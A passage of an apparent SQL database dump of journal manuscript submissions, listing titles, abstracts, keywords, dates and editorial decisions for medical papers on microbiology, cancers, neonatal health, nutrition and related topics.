alternatives for managing bacterial infections. This abstract emphasizes the need for continued research and collaboration to combat the growing threat of bacterial infections and ensure the health and well-being of populations worldwide.\r\nBacterial infections pose a significant threat to human health, causing a wide range of diseases and contributing to substantial morbidity and mortality worldwide. Understanding the nature of bacterial infections, including their causes, transmission mechanisms, and pathogenicity, is crucial for developing effective preventive and therapeutic strategies. This abstract provides an overview of bacterial infections, highlighting the importance of research in this field and the need for continued efforts to combat these infections. It emphasizes the complex interplay between bacteria and their human hosts, the challenges associated with antibiotic resistance, and the potential for emerging bacterial pathogens to cause global outbreaks. The abstract concludes by emphasizing the significance of ongoing research and collaboration among scientists, clinicians, and policymakers in tackling the growing threat of bacterial infections.\r\n','Bacterial infection, pathogenesis, host immune response, antimicrobial resistance, diagnosis, treatment, antimicrobial agents, bacteriophages, microbiota-based therapies.',779,NULL,'2023-07-22',NULL,'Submitted',2,NULL,'2024-03-19',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13965,14043,251,0,'ipacm-23-13965','Medical Microbiology: Unveiling the Secrets of Disease-causing Microorganisms',NULL,5,2,'','Medical microbiology is a diverse field that focuses on the study of microorganisms and their role in human health and disease. This branch of science plays a crucial role in understanding the mechanisms of pathogenesis, the development of effective diagnostic methods, the design of targeted therapies, and the prevention of infectious diseases. In this abstract, we delve into the multidimensional aspects of medical microbiology, highlighting key areas of research and their impact on human health. One of the fundamental components of medical microbiology is the study of infectious agents, including bacteria, viruses, fungi, and parasites. Advances in diagnostic techniques have enabled the identification and characterization of previously unknown microorganisms, leading to a deeper understanding of their pathogenic potential. Genomic sequencing and molecular tools have revolutionized the field, providing insights into the genetic diversity, virulence factors, and mechanisms of antibiotic resistance in pathogens.\r\nMedical microbiology plays a pivotal role in the development and monitoring of vaccines. Vaccination has been one of the most successful public health interventions, preventing millions of deaths worldwide. By understanding the immune response to infectious agents, researchers can design vaccines that elicit protective immunity. Ongoing surveillance and monitoring of vaccine efficacy and safety contribute to the control and eradication of infectious diseases.\r\n','Medical microbiology; pathogenesis; immunity; infectious diseases ',783,NULL,'2023-07-22',NULL,'Submitted',2,NULL,'2024-03-19',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13966,14044,251,0,'ipacm-23-13966','Staphylococcus aureus: A Microbial Mastermind ',NULL,19,2,'','Staphylococcus aureus, a gram-positive bacterium, has long been recognized as a significant human pathogen capable of causing a wide range of infections. This abstract provides an overview of the key aspects of Staphylococcus aureus, including its morphology, pathogenesis, antibiotic resistance, and clinical significance. Staphylococcus aureus is a spherical bacterium that forms clusters, characterized by its golden-colored colonies on agar plates. It is part of the normal flora on human skin and mucous membranes, yet it can swiftly transition from a commensal organism to an opportunistic pathogen, causing infections in various body sites. This versatility can be attributed to the array of virulence factors produced by S. aureus, including adhesins, toxins, and enzymes, which aid in colonization, evasion of the host immune system, and tissue damage. One of the most alarming characteristics of S. aureus is its ability to develop resistance to multiple antibiotics, presenting a considerable challenge in the management of infections caused by this organism. The emergence of methicillin-resistant Staphylococcus aureus (MRSA) strains, resistant to beta-lactam antibiotics, such as methicillin and penicillin, has further complicated treatment options, necessitating the use of alternative antimicrobial agents. Staphylococcus aureus infections can manifest as skin and soft tissue infections, bloodstream infections, pneumonia, bone and joint infections, and even more severe conditions, such as endocarditis and toxic shock syndrome. The clinical impact of S. aureus is further amplified by its ability to cause outbreaks in healthcare settings, highlighting the need for stringent infection control measures.','Staphylococcus aureus, pathogen, enzymes, toxins, methicillin and penicillin, tissue damage',786,NULL,'2023-07-22',NULL,'Submitted',2,NULL,'2024-03-19',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13967,14045,45,0,'iphsj-23-13967','Determinants of neonatal near-miss among neonates of postnatal women in north Wollo hospitals, northern Ethiopia, 2022.  ',NULL,14,0,'','Background: Children born with life-threatening conditions are more likely to die particularly during the neonatal period. Neonatal near-miss events are three to six times more frequent than neonatal deaths. However, there is limited evidence of these problem in sub-Saharan Africa, particularly Ethiopia. Therefore, this study aimed to identify the determinants of neonatal near misses among neonates delivered in public hospitals in the North Wollo Zone, Northern Ethiopia.\r\nMethods:  A facility-based unmatched case-control study was conducted from February 25 to April 25, 2022, on 453 participants. Consecutive and systematic sampling techniques were used. A pre-tested semi- structured interviewer-administered questionnaire and medical record review were used to collect the data. Data were entered using Epi Data Manager 4.6.6 and exported to SPSS version 26 for analysis. After performing bivariable logistic regression, variables with a p-value < 0.2 were entered into a multivariable logistic regression. Both Descriptive and inferential statistics were carried out, and finally, AOR together with 95% CI and p-value <0.05 were used to declare the significance of all statistics. \r\nResult: The results showed that rural residents (AOR = 1.89, CI:1.05-3.39), no antenatal care follow-up (AOR = 4.77, CI:2.13-10.72), less than four antenatal care follow-ups (AOR =2.49, CI:1.13-5.49), birth interval of  less than 2 years (AOR= 4.53, CI:2.32-8.83), pregnancy-induced hypertension (AOR=2.97, CI:1.35-6.48) and premature rupture of membranes (AOR= 2.94, CI:1.30-6.62)  were  determinants of neonatal near miss.\r\nConclusion: Rural residents, who did not have antenatal care follow-up, had fewer than four antenatal care follow-ups, birth intervals less than 2 years, pregnancy -induced hypertension, and premature rupture of membranes were determinants of neonatal near miss. Encouraging Antenatal care follow-up, adequate antenatal services, family planning utilization, and early screening and treatment of complications that occur during pregnancy is needed to improve neonatal health outcomes.\r\nKey words: Obstetric complications, neonatal near miss, neonatal mortality, neonatal near miss assessment scale, Northern Ethiopia.\r\n\r\n','',4076,NULL,'2023-07-22',NULL,'Submitted',2,NULL,'2023-08-01',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13968,14046,251,0,'ipacm-23-13968','Exploring the Frontiers of Microbial Genomics: Unravelling the Secrets of Microbial Diversity ',NULL,19,2,'','Microbial genomics is a rapidly advancing field that explores the genetic makeup and functions of microorganisms, including bacteria, archaea, viruses, and fungi. It encompasses various approaches such as metagenomics, comparative genomics, and functional genomics to investigate the diversity, evolution, and interactions of microbes in different environments. By deciphering the genetic information encoded within microbial genomes, researchers gain insights into the mechanisms underlying microbial adaptations, the roles of specific genes in microbial physiology, and the functional potential of microbial communities. Microbial genomics also plays a crucial role in understanding host-microbe interactions, such as the human microbiome, and their implications for health and disease. This interdisciplinary field offers new avenues for studying and harnessing the vast genetic diversity present in microbial populations, leading to advancements in biotechnology, medicine, and environmental science.\r\nMicrobial genomics is a rapidly advancing field that focuses on the study of genomes and genetic diversity of microorganisms. With the advent of high-throughput sequencing technologies, it has become possible to explore the vast microbial world and gain insights into their functional capabilities, evolutionary relationships, and ecological roles. This review provides an overview of microbial genomics, discussing the methodologies employed in genome sequencing, assembly, and annotation, as well as the applications of microbial genomics in various fields such as medicine, agriculture, and environmental science. The use of genomics in understanding microbial pathogenesis, antibiotic resistance, and microbial community dynamics is highlighted. Furthermore, the role of comparative genomics in elucidating the evolutionary history and genetic adaptation of microorganisms is discussed. The challenges and future directions of microbial genomics are also presented, including the integration of multi-omics data and the development of novel computational tools for data analysis. Overall, microbial genomics has revolutionized our understanding of the microbial world and holds great promise for advancing human health, agriculture, and environmental sustainability.','Microbial genomics, Microbial diversity, Metagenomics, Comparative genomics, Functional genomics, Microbial evolution, Microbial communities, Host-microbe interactions',785,NULL,'2023-07-24',NULL,'Submitted',2,NULL,'2024-03-19',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13969,14047,251,0,'ipacm-23-13969','Hepatitis Virus: Understanding the Types, Symptoms, and Prevention ',NULL,25,2,'','Hepatitis viruses are a group of infectious agents that primarily target the liver, leading to a spectrum of liver diseases collectively known as hepatitis. These viruses pose a significant global health burden, affecting millions of individuals worldwide. This abstract provides an overview of hepatitis viruses, including their classification, modes of transmission, clinical manifestations, diagnosis, and prevention strategies. Understanding the characteristics and implications of hepatitis viruses is crucial for effective disease management, prevention, and control. Hepatitis viruses are a diverse group of pathogens that cause liver inflammation and pose a significant global health burden. This abstract provides a comprehensive overview of the molecular characteristics, clinical implications, and recent advancements in the understanding and management of hepatitis viruses. The primary types of hepatitis viruses are hepatitis A virus (HAV), hepatitis B virus (HBV), hepatitis C virus (HCV), hepatitis D virus (HDV), and hepatitis E virus (HEV). Each virus exhibits unique genomic structures, modes of transmission, and disease progression patterns. HAV and HEV are typically transmitted through contaminated food and water, while HBV, HCV, and HDV are primarily transmitted through blood or other bodily fluids.','Hepatitis viruses, infectious agents, target the liver, liver diseases, HBV, HCV and hepatitis D virus HDV, contaminated food and water',784,NULL,'2023-07-24',NULL,'Submitted',2,NULL,'2024-03-19',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13970,14048,251,0,'ipacm-23-13970','Reovirus: A Potent Ally in Oncolytic Virotherapy and Beyond',NULL,5,0,'','Reovirus is a group of non-enveloped, double-stranded RNA viruses belonging to the Reoviridae family. These viruses have attracted significant attention in virology due to their unique characteristics and diverse biological properties. Reoviruses are known to infect a wide range of hosts, including mammals, birds, and insects, and have been extensively studied as potential oncolytic agents in cancer therapy. Their ability to selectively target and destroy tumor cells while sparing normal cells makes them a promising candidate for novel cancer treatment approaches. Additionally, reoviruses have been studied for their potential as vaccine vectors, demonstrating their capacity to elicit robust immune responses. This review provides an overview of reovirus biology, molecular structure, replication cycle, pathogenesis, and discusses their applications in cancer therapy and vaccine development.\r\nReovirus is a fascinating group of non-enveloped, double-stranded RNA viruses belonging to the family Reoviridae. With its unique ability to infect a wide range of vertebrate hosts, including humans, mammals, birds, and reptiles, reovirus has garnered significant attention in virology and medical research. This abstract provides an overview of the structure, classification, and replication cycle of reovirus, highlighting its importance as both a viral model system and a potential therapeutic agent. Additionally, the abstract delves into the current state of knowledge regarding reovirus pathogenesis and its potential applications in cancer therapy. The research surrounding reovirus continues to shed light on fundamental virological processes and holds promise for the development of novel antiviral strategies and oncolytic therapies.','Reovirus, Reoviridae, double-stranded RNA virus, oncolytic virotherapy, cancer therapy, tumor targeting, vaccine vector, viral replication, pathogenesis, immune response.',3944,NULL,'2023-07-24',NULL,'Submitted',2,NULL,'2023-07-31',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13971,14049,73,0,'ipjnn-23-13971','Case Report: Guillain–Barre Syndrome presentation Mimicking Stroke; An atypical presentation',NULL,2,0,'','We herein report an unusual case of a 58-year-old man with polycythemia presented with sudden right leg and right arm weakness. He was treated for a stroke but continued to worsen, leading to quadriparesis. He was referred to the emergency department after experiencing progressive weakness in all four limbs for five days. No prior history of fever, cough, chest pain, diarrhea, backache, or trauma was found. The patient had normal neurological examination, MRC scores, and bilateral weak hand grips. Sensory examination was normal. The patient had normal blood tests, electrolytes and brain MRI. CSF examination revealed protein an albumin-cytological dissociation pattern. An electrodiagnostic study showed evidence of acute motor axonal polyneuropathy. The patient received IVIg for five days, and symptoms improved significantly.','Guillain-Barre syndrome; stroke; MRI; IVIg',36040,NULL,'2023-07-26',NULL,'Submitted',14,NULL,'2023-09-14',NULL,1,1,'0','  ',0,'','',NULL,0,0,0,NULL,0),(13972,14050,45,0,'iphsj-23-13972','A Comprehensive Review of Maternal and Foetal Health Regarding Nutrition in Pregnancy',NULL,5,0,'','Pregnancy is a critical period that demands special attention to ensure optimal maternal and fetal health. Proper nutrition during pregnancy plays a crucial role in supporting the physiological changes in the expectant mother\'s body and promoting healthy fetal growth and development. This comprehensive review article aims to explore the significance of nutrition in pregnancy, discussing the key nutrients required, dietary recommendations, challenges faced by pregnant women, and the impact of maternal nutrition on fetal development. We also discuss interventions and strategies to improve maternal nutrition and provide insights into postpartum nutrition and lactation.','nutrition, pregnancy, comprehensive review, maternal health, fetal health, balanced diet, folic acid, iron, calcium, omega-3 fatty acids, protein, gestational weight gain, alcohol, smoking, drugs, high-mercury fish, raw or undercooked foods, unpasteurized dairy products, prenatal vitamins,',4076,NULL,'2023-07-26',NULL,'Submitted',2,NULL,'2023-07-29',NULL,1,1,'1','Accept ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13973,14051,959,0,'ipacr-23-13973','Cancer treatment landscape in India',NULL,25,0,'','Cancer treatment comes in a variety of forms. Your cancer\'s kind and degree of advancement will determine the sort of treatment you get. Some cancer patients receive just one therapy. The majority of patients, however, have several therapies, such as surgery along with chemotherapy and/or radiation therapy. Immunotherapy, targeted treatment, and hormone therapy are other options. Cancer is a condition in which a few of the body\'s cells grow out of control and spread to other bodily regions. The human body, which contains billions of cells, may develop cancer practically everywhere. Human cells often divide to create new cells as needed by the body. This process is known as cell growth and multiplication. A new cell replaces an old one when it dies or is damaged. Sometimes, this systematic process fails, causing damaged or aberrant cells to proliferate when they shouldn\'t. Tumors, which are tissue masses, might develop from these cells. Tumors can be malignant or not (benign).','',2817,NULL,'2023-07-27',NULL,'Submitted',2,NULL,'2023-07-29',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13974,14052,959,0,'ipacr-23-13974','Leukaemia: Understanding the Blood Cancer that Affects Lives',NULL,5,0,'','Leukaemia is a type of cancer that originates in the bone marrow and affects the blood and blood-forming tissues. It is characterized by the uncontrolled growth of abnormal white blood cells, which hinders the production of healthy blood cells. Leukemia can be broadly classified into four main types: acute myeloid leukemia (AML), acute lymphoblastic leukemia (ALL), chronic myeloid leukemia (CML), and chronic lymphocytic leukemia (CLL), each with distinct characteristics and progression rates. The exact causes of leukemia remains unknown, but certain risk factors, including genetic factors and exposure to radiation or chemicals, have been identified. Symptoms vary depending on the type and stage of the disease, and diagnosis involves blood tests and bone marrow examination. Treatment options for leukemia include chemotherapy, targeted therapy, immunotherapy, radiation therapy, and stem cell transplant. Advancements in leukemia research have led to improved treatment options and outcomes, with ongoing studies exploring innovative therapies to further enhance patient care. Early detection, accurate diagnosis, and timely intervention are crucial in improving survival rates and quality of life for individuals affected by leukemia. Public awareness, support for research, and collaborative efforts are essential in the ongoing fight against this challenging and life-threatening disease.','',5428,NULL,'2023-07-27',NULL,'Submitted',2,NULL,'2023-07-29',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13975,14053,959,0,'ipacr-23-13975','Lymphoma: Understanding the Complexities of Blood Cancer',NULL,25,0,'','Lymphoma is a diverse group of blood cancers that originate from abnormal growth in the lymphatic system\'s lymphocytes, crucial cells of the immune system. It can be broadly classified into Hodgkin lymphoma and non-Hodgkin lymphoma (NHL), each encompassing various subtypes with unique characteristics and treatment approaches. The exact causes of lymphoma remains unclear, but certain risk factors, such as immune system disorders, viral infections, age, gender, and family history, are associated with increased susceptibility. Diagnosing lymphoma involves physical examination, blood tests, imaging studies, and lymph node biopsy. Treatment options depend on the type, stage, and individual factors, including chemotherapy, radiation therapy, immunotherapy, targeted therapy, and stem cell transplant. Advancements in research have led to improved treatments and outcomes for lymphoma patients, with ongoing clinical trials exploring innovative therapies. Early detection, accurate diagnosis, and timely intervention play a crucial role in enhancing patient outcomes. Public awareness, support for research, and early screening efforts are essential in the fight against this complex group of blood cancers. Collaborative efforts from the medical community and the public can lead to better treatments and improved quality of life for individuals affected by lymphoma.','',5428,NULL,'2023-07-27',NULL,'Submitted',2,NULL,'2023-07-29',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13976,14054,959,0,'ipacr-23-13976','MelanomaUnderstanding the Deadly Skin Cancer and Promoting Early Detection',NULL,19,0,'','Melanoma is a deadly form of skin cancer that arises from the melanocytes, the pigment-producing cells in the skin. It is primarily caused by excessive exposure to ultraviolet (UV) radiation from the sun or artificial sources. Melanoma is the most dangerous skin cancer due to its potential to metastasize to other organs and tissues. Various risk factors, such as fair skin, family history, and multiple atypical moles, increase the likelihood of developing melanoma. Early detection is crucial for favorable outcomes, as melanoma can often be identified through the ABCDE rule - asymmetry, irregular borders, varied colors, larger diameter, and evolving appearance of moles. A biopsy is necessary for definitive diagnosis, after which appropriate treatment can be determined based on the melanoma\'s stage and location. Surgical excision is the primary treatment for localized melanomas, while advanced cases may require immunotherapy, targeted therapy, or radiation therapy. Preventive measures, including sun protection and regular skin self-examination, play a vital role in reducing the incidence and impact of melanoma. Promoting awareness, education, and early detection efforts are essential in the ongoing fight against this lethal form of skin cancer.','',5428,NULL,'2023-07-27',NULL,'Submitted',2,NULL,'2023-07-31',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13977,14055,959,0,'ipacr-23-13977','Understanding Sarcoma: A Comprehensive Insight into a Rare and Complex Cancer',NULL,19,2,'','Sarcoma is a diverse and relatively rare form of cancer that originates in the connective tissues of the body. This heterogeneous group of malignancies includes soft tissue sarcomas and bone sarcomas, each with various subtypes. While the exact causes of sarcoma remain unclear, certain risk factors such as genetic predisposition and previous radiation exposure have been identified. Early and accurate diagnosis is essential for successful treatment, which may involve surgery, radiation therapy, chemotherapy, targeted therapy, and immunotherapy. Sarcoma research is continuously advancing, with personalized medicine and clinical trials offering hope for improved outcomes. A multidisciplinary approach involving specialists from various medical fields is crucial for providing optimal care to sarcoma patients. This article provides an overview of sarcoma, its diagnosis, treatment options, and the latest developments in sarcoma research, highlighting the importance of early detection and ongoing efforts to combat this complex and challenging cancer.','',5428,NULL,'2023-07-27',NULL,'Submitted',2,NULL,'2024-03-19',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13978,14056,45,0,'iphsj-23-13978','Primary Health Research: A Comprehensive Review of Current Trends and Future Directions',NULL,5,0,'','This research article provides a comprehensive review of primary health research, examining its significance, methodologies, and contributions to advancing healthcare. Primary health research plays a pivotal role in understanding various health-related issues, influencing health policies, and promoting evidence-based practices. Through a systematic literature review, this study identifies current trends in primary health research and highlights potential areas for further investigation. The article emphasizes the importance of robust primary health research in shaping a healthier society and improving overall health outcomes.','Primary health research; Comprehensive review; Current trends; Future directions; Public health interventions; Disease prevention; Health promotion; Healthcare disparities; Chronic disease management',4076,NULL,'2023-07-27',NULL,'Submitted',2,NULL,'2023-07-31',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13979,14057,959,0,'ipacr-23-13979','Gastric Carcinoma: Recent Trends in Diagnostic Biomarkers and Molecular Targeted Therapies',NULL,19,2,'','Gastric cancer is generally associated with poor survival rates and accounts for a remarkable proportion of global cancer mortality. The prevalence of gastric carcinoma varies in different regions of world and across the various ethnic groups. On the basis of pathological assessment, gastric cancer can be categorized as intestinal and diffuse carcinomas. The etiology is diverse, including chemical carcinogen exposure, and high salt intake Helicobacter pylori also plays a vital role in the pathogenesis of certain gastric carcinomas. The development of gastric cancer involves various alterations in mRNAs, genes (GOLPH3, MTA2) and proteins (Coronins). miRNAs, Hsamir135b, MiR21, miR106b, miR17, miR18a, MiR21, miR106b, miR17, miR18a and MiRNA375, miRNA1955p are the latest diagnostic biomarkers which can facilitate the early diagnosis of gastric carcinomas. Recent development in the treatment strategies for gastric carcinoma include the introduction of monoclonal antibodies, TKI inhibitors, inhibitors of PDGFR ?, VEGFR1, VEGFR2, AntiEGFR and antiHER2 agents which can be applied along with conventional therapies.','',5428,NULL,'2023-07-27',NULL,'Submitted',2,NULL,'2024-03-19',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13980,14058,959,0,'ipacr-23-13980','Understanding Carcinoma: A Comprehensive Overview of Cancer\'s Lethal Form',NULL,19,2,'','Carcinoma is a prevalent and deadly form of cancer that arises from epithelial tissues, which line the internal and external surfaces of organs and body structures. This malignancy accounts for a significant proportion of cancer cases globally and is characterized by the uncontrolled growth and spread of abnormal cells. Carcinomas are diverse, categorized into various types based on their location and cell origin, such as adenocarcinoma, squamous cell carcinoma, transitional cell carcinoma, and basal cell carcinoma.','',5428,NULL,'2023-07-27',NULL,'Submitted',2,NULL,'2024-03-19',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13981,14059,959,0,'ipacr-23-13981','Analysis of pathological features of thyroid carcinoma in the western Yunnan',NULL,14,0,'','Objective: By analyzing the developmental characteristics and pathological characteristics of thyroid cancer patients in western Yunnan, this paper provides a basis for the prevention and treatment of thyroid cancer. Methods: The clinical data of thyroid cancer patients admitted to the First Affiliated Hospital of Dali University from 2012 to 2021 were retrospectively analyzed. The pathological characteristics of thyroid cancer were analyzed by SPSS 25.0 and Microsoft Excel 2007 from the aspects of ethnicity, gender and age. Results: Through the analysis of 635 patients with thyroid cancer, the incidence of thyroid cancer was increasing. More than half of patients were diagnosed by physical examination; There were 101 male patients (46 in han nationality, 40 in Bai nationality, and 14 in other ethnic groups), and the onset peak was 34-49 years old. There were 534 female patients (248 in Han nationality, 189 in Bai Nationality, and 98 in other ethnic groups), and the onset peak was 42-49 years old. Papillary carcinoma is the most common pathologic type of thyroid carcinoma. Conclusion: In the past 10 years, the number of thyroid patients in the western Ynnan has been increasing year by year, the incidence of papillary carcinoma is the first, the incidence of middle-aged and young female patients is higher than that of male patients, there is a significant difference in the incidence ratio of male and female thyroid cancer in different ethnic groups, but there is no significant difference in the distribution of pathological types in different ethnic groups.','',5428,NULL,'2023-07-28',NULL,'Submitted',14,NULL,'2023-12-19',NULL,1,1,'0','PROCED FOR PUBLICATION',0,NULL,NULL,NULL,0,0,0,NULL,0),(13982,14060,45,0,'iphsj-23-13982','Cell Therapy Advancements for Immunological Conditions',NULL,19,0,'','Cell therapy has emerged as a groundbreaking approach in the field of immunology, presenting new opportunities for the treatment of various immunological conditions. This innovative therapeutic strategy involves utilizing living cells to enhance or suppress the immune response, depending on the specific disease being targeted. In this abstract, we explore the applications of cell therapy in immunological disorders, including autoimmune diseases, cancer immunotherapy, immunodeficiencies, allergic disorders, and transplantation. Specifically, we discuss the use of regulatory T-cells (Tregs) to suppress autoimmunity, chimeric antigen receptor T-cell (CAR-T) therapy for cancer treatment, and hematopoietic stem cell transplantation (HSCT) for immunodeficiencies. Furthermore, we highlight the challenges associated with cell therapy, including safety concerns, personalized approaches, cost, and long-term efficacy. Despite these challenges, cell therapy holds great promise, paving the way for transformative advancements in immunology and offering hope for improved treatment outcomes and potential cures for patients with immunological conditions. Continued research and development in this area will undoubtedly shape the future of immunology and pave the way for personalized, effective, and accessible cell-based treatments','Cell therapy, immunology, autoimmune disorders, cancer immunotherapy, regulatory T-cells, chimeric antigen receptor T-cells (CAR-T), hematopoietic stem cell transplantation (HSCT), immunodeficiencies',4076,NULL,'2023-07-28',NULL,'Submitted',2,NULL,'2023-07-31',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13983,14061,667,0,'iptb-23-13983','Effects of massage therapy and the role of physical activity as an improvement in the psycho-physical state of the individual and reduction of pain and anxiety during the COVID-19 pandemic systematic review',NULL,14,0,'','Deep skills: positive mind neuroscience of exercise to counter Covid 19. Memory and Learning in the time of Covid 19\r\nWe must begin to lose our memory, even if only occasionally, to understand that memory is what fills our lives. Life without memory is not life. Our memory is our consistency, our reason, our feeling, even our action. Without her we are nothing.\r\nLuis Bunuel. Memory is a wonderful mechanism, a means of transporting us back in time. We can go back a moment, or a large part of life. Sometimes not perfect, sometimes not authentic, sometimes with nuanced details, memory is however the system that allows us to recall the information we have stored and learned from both the external and internal environment. It is the experience that changes us, the contact with the environment that changes our behavior through a series of structural and functional changes in our nervous system. The last challenge of neuroscience is precisely to better understand the complexity of these mechanisms and how complex phenomena such as learning and memory can occur. Although the changes that occur within the individual brain cells can be relatively simple, considering that the brain is made up of many billions of neurons, the overall phenomenon is certainly very complex and makes the isolation and identification of the specific changes responsible of a certain really difficult memory. Similarly, although the elements of a specific learning task may be simple, its implications for the organism can be very complex (Carlson, 2002).\r\nFrom a neurobiological point of view, learning and memory are adaptations to the environment of the brain circuits that allow us to respond appropriately to situations we have previously experienced. Hence, learning (the process by which the nervous system acquires new information and experiences) and memory (the ability to retain, retain and recall this information) represent the main mechanisms through which environmental events shape behavior. The experiences are not simply \"accumulated\" in the brain, but are capable of causing plastic modifications in our nervous system and of altering the circuits involved in our most sophisticated functions; in this way they change the way we act, think, perceive, plan. Although learning and memory are two closely related functions, they have temporal sequences and nervous mechanisms that do not always coincide. From a neurophysiological point of view, in fact, the learning process is essentially functional, ie entrusted to reverberant circuits and unstable morphological modifications, while the memory process is structural and presupposes stable morphological modifications. These changes are accompanied by an increase in protein synthesis and consist of an increase in the number and volume of the dendritic spines (Gasbarri and Tomaz, 2005). The importance of understanding the mechanisms that underlie the memory process, and the hope of being able to intervene when they are damaged, is therefore easily understood: they depend on the quality of life and the survival of the individual. This type of considerations helps to make the field of research on the mechanisms underlying memory particularly active. Many of these studies are carried out on animal models, but one wonders how much these studies are predictive of human reality both in terms of memory neurobiology (think, for example, of the different and more extensive development of the cortex in humans), and regarding the effect of drugs of potential therapeutic use in memory disorders. Some types of memory, however, have common characteristics in animals and humans, and animal models make it easier to study simple forms of learning and memory - such as the conditioned blink reflex - which are completely human similar to those studied in small mammals. Furthermore, the preliminary study on the animal very often allows to safeguard thousands of human lives and to avoid, for example, the experimentation of drugs on the ex-abducted man. Learning is the process by which experiences modify our nervous system and therefore our behavior. The primary function of the ability to learn is to develop behaviors suitable for a constantly changing environment. Experiences are able to change the way we perceive, act, think and plan. The ability of our nervous system to change in relation to experience is called synaptic plasticity and consists of a structural and functional change in the nervous structures which is reflected in changes in the processes of perception, memory, thought, planning and action. Learning phenomena can be distinguished in. Non-associative learning: habit and awareness\r\nAssociative learning: perceptual learning, stimulus response learning (classical / Pavlonian conditioning), instrumental / operative conditioning by trial and error, motor learning, relational learning. Although the understanding of the mechanisms responsible for learning and other plastic modifications that take place in the adult brain still remains the subject of debate, there is broad consensus on the concept that at the basis of these phenomena there are modifications finely regulated by the strength of the synapses (Madison et al., 1991). While in development, the changes are based on the reorganization of the connections that already exist between the cells, the strength of the synapses can also change in adulthood. The cellular mechanisms underlying these changes are constituted by transient modifications of the synaptic neurotransmission processes, while in the case of more lasting modifications they are constituted by changes in the processes of gene expression. Even after development is complete, the ability to change the organization of the nervous circuits of the cortex is not completely lost, but this ability decreases considerably (Bliss and Collingridge, 1993).','neuroscience, deep skills, recognition memory; spatial memory, physical activity, psychomotor skills, quantum physics, LagreeFitness, mental health, neuroplasticity, cognitive exercise, massage, exercise physiology, neurophysiology, psychology, psychophysiology',4092,NULL,'2023-07-29',NULL,'Submitted',2,NULL,'2023-08-18',NULL,1,1,'0','Accept the Article Without any changes ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13984,14061,667,0,'iptb-23-13984','Manual therapy combined with functional exercise in the treatment of the main pathologies of aging: a quantitative-qualitative randomized clinical trial',NULL,19,0,'','','',59080,NULL,'2023-07-29',NULL,'Submitted',1,NULL,'2023-11-30',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13985,14062,45,0,'iphsj-23-13985','Understanding the Journey to Radiant Skin: Skin Health and the Ageing Process',NULL,5,0,'','The ageing process is an inevitable and natural phenomenon that impacts various aspects of our physiology, including the skin. As we grow older, our skin undergoes numerous changes due to a combination of intrinsic and extrinsic factors. Intrinsic ageing, determined by genetics and the passage of time, leads to reduced collagen and elastin production, slower cell turnover, and decreased skin hydration. Extrinsic ageing, influenced by external factors like sun exposure and lifestyle choices, further exacerbates the signs of ageing, such as wrinkles, hyperpigmentation, and loss of skin firmness.\r\nThis article aims to shed light on the impact of the ageing process on skin health and provides insights into maintaining a radiant and youthful appearance. It emphasizes the significance of sun protection as a pivotal preventive measure against premature ageing, highlighting the importance of regular sunscreen usage. Furthermore, adopting a consistent skincare routine, encompassing cleansing, moisturizing, and the use of anti-ageing products, proves vital in nurturing healthy skin as we age.\r\nThe abstract also emphasizes the role of a well-balanced diet, rich in essential nutrients, and the importance of staying adequately hydrated to combat dryness and promote skin vitality. In addition, lifestyle choices, including avoiding smoking and limiting alcohol consumption, are highlighted as key elements in preserving skin health.\r\nThe article\'s holistic approach encompasses the importance of physical activity and stress management to support blood circulation and reduce the impact of chronic stress on skin ageing. Emphasizing that each wrinkle tells a unique story, the abstract concludes with the message that caring for our skin allows us to embrace the ageing process gracefully and confidently.','Skin health; Ageing process; Radiant skin; intrinsic ageing; extrinsic ageing; Collagen; Elastin; Cell turnover',2801,NULL,'2023-07-29',NULL,'Submitted',2,NULL,'2023-08-01',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13986,14063,45,0,'iphsj-23-13986','Smoking and Health: A Looming Menace to Public Well-being',NULL,17,0,'','Smoking is a pervasive public health concern with far-reaching implications for the well-being of individuals and society. Despite widespread awareness of its dangers, tobacco use remains a prevalent habit worldwide. This article highlights the adverse health effects of smoking, encompassing respiratory disorders, cardiovascular diseases, cancer, and reproductive health issues. The damaging effects of secondhand smoke on non-smokers are also emphasized, underscoring the urgent need for tobacco control measures.','Smoking; Health; Public well-being; Tobacco use; Public health concern; Respiratory disorders; Cardiovascular diseases; Cancer',4076,NULL,'2023-07-29',NULL,'Submitted',2,NULL,'2023-08-02',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13987,14064,45,0,'iphsj-23-13987','.',NULL,24,0,'','.','.',59010,NULL,'2023-07-29',NULL,'Submitted',2,NULL,'2023-08-17',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(13988,14065,971,0,'ipaclr-23-13988','the damage by oral micro-environmental ',NULL,14,2,'Emerging Technologies in Clinical Research: Challenges and 